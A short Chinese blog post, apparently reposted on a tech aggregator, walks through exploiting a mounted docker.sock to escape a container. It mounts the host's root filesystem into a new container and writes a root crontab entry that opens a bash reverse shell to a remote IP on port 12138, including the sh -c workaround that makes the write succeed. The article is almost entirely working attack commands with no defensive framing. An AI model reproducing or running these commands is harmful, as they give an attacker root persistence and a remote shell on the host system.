关于docker in docker的利用

编程入门 行业动态 更新时间:2024-10-05 11:20:26

关于<a href=https://www.elefans.com/category/jswz/34/1771431.html style=docker in docker的利用"/>

关于docker in docker的利用

首先判断是否为docker环境,是否存在docker.sock文件,以及判断docker命令是否能够使用

来打印主机信息
docker -H unix:///host/var/run/docker.sock info
反弹shell的环境下无法进入容器终端,无法使用-it进入容器内部
启动一个新的容器,虚拟机根目录挂载到容器test目录下 
docker -H unix:///host/var/run/docker.sock run -v /:/test ubuntu

可以直接对容器使用docker exec 指定对容器进行操作
docker exec 259b325 ls /test

但是在使用echo命令时会报错
docker exec 259b325 echo "* * * * * bash -i >& /dev/tcp/192.168.0.101/12138 0>&1" >> /test/var/spool/cron/root

解决办法

使用-c 命令  将整条命令通过-c传给sh即可
docker exec 259b325 sh -c 'echo "* * * * * bash -i >& /dev/tcp/192.168.0.110/12138 0>&1" >> /test/var/spool/cron/root'


查看定时任务发现成功写入并且反弹shell

更多推荐

关于docker in docker的利用

本文发布于:2024-03-04 11:16:24,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1709125.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:docker

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!